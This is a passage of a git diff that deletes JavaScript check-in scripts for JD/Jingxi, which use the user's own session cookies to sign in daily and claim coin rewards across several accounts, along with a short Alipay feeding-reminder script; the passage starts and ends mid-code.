"https://member.jr.jd.com/activities/signin-annual/index.html?channelLv=changjinglouceng&jrcontainer=h5&jrlogin=true", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jx_sign.js b/activity/jx_sign.js deleted file mode 100644 index 69db78a..0000000 --- a/activity/jx_sign.js +++ /dev/null @@ -1,315 +0,0 @@ -/* -京喜签到 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜签到 -5 0 * * * jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "5 0 * * *" script-path=jx_sign.js,tag=京喜签到 - -===============Surge================= -京喜签到 = type=cron,cronexp="5 0 * * *",wake-system=1,timeout=3600,script-path=jx_sign.js - -============小火箭========= -京喜签到 = type=cron,script-path=jx_sign.js, cronexpr="5 0 * * *", timeout=3600, enable=true - */ -const $ = new Env('京喜签到'); -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let helpAuthor = true -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://m.jingxi.com/'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.newShareCodes = [] - // await getAuthorShareCode(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdCash() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdCash() { - $.coins = 0 - $.money = 0 - await sign() - await getTaskList() - await doubleSign() - await showMsg() -} -function sign() { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/sign/UserSignOpr"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - if(data.data.signStatus===0){ - console.log(`签到成功,获得${data.data.pingoujin}金币,已签到${data.data.signDays}天`) - $.coins += parseInt(data.data.pingoujin) - }else{ - console.log(`今日已签到`) - } - }else{ - console.log(`签到失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getTaskList() { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/QueryPgTaskCfgByType","taskType=3"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - for (task of data.data.tasks) { - if(task.taskState===1){ - console.log(`去做${task.taskName}任务`) - await doTask(task.taskId); - await $.wait(1000) - await finishTask(task.taskId); - await $.wait(1000) - } - } - }else{ - console.log(`签到失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doTask(id) { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/drawUserTask",`taskid=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`任务领取成功`) - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function finishTask(id) { - return new Promise((resolve) => { - $.get(taskUrl("pgcenter/task/UserTaskFinish",`taskid=${id}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`任务完成成功,获得金币${data.datas[0]['pingouJin']}`) - $.coins += data.datas[0]['pingouJin'] - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function doubleSign() { - return new Promise((resolve) => { - $.get(taskUrl("double_sign/IssueReward",), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - console.log(`双签成功,获得金币${data.data.jd_amount / 100}元`) - $.money += data.data.jd_amount / 100 - }else{ - console.log(`任务完成失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function showMsg() { - message+=`本次运行获得金币${$.coins},现金${$.money}` - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function taskUrl(functionId, body = '') { - return { - url: `${JD_API_HOST}${functionId}?sceneval=2&g_login_type=1&g_ty=ls&${body}`, - headers: { - 'Cookie': cookie, - 'Host': 'm.jingxi.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Referer': 'https://jddx.jd.com/m/jddnew/money/index.html', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/.DS_Store b/backUp/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/backUp/.DS_Store differ diff --git a/backUp/AlipayManor.js b/backUp/AlipayManor.js deleted file mode 100644 index 70efa1b..0000000 --- a/backUp/AlipayManor.js +++ /dev/null @@ -1,14 +0,0 @@ -// qx 及 loon 可用。 -// 半自动提醒支付宝蚂蚁庄园喂食。 -// 15 */4 * * * AlipayManor.js -// 自用 Modified from zZPiglet - -const $ = new Env('蚂蚁庄园'); -const manor = "alipays://platformapi/startapp?appId=66666674"; - -$.msg("支付宝", "蚂蚁庄园喂食啦", "alipays://platformapi/startapp?appId=66666674", manor); - -$.done() - -// prettier-ignore -function Env(t,s){return new class{constructor(t,s){this.name=t,this.data=null,this.dataFile="box.dat",this.logs=[],this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,s),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}getScript(t){return new Promise(s=>{$.get({url:t},(t,e,i)=>s(i))})}runScript(t,s){return new Promise(e=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 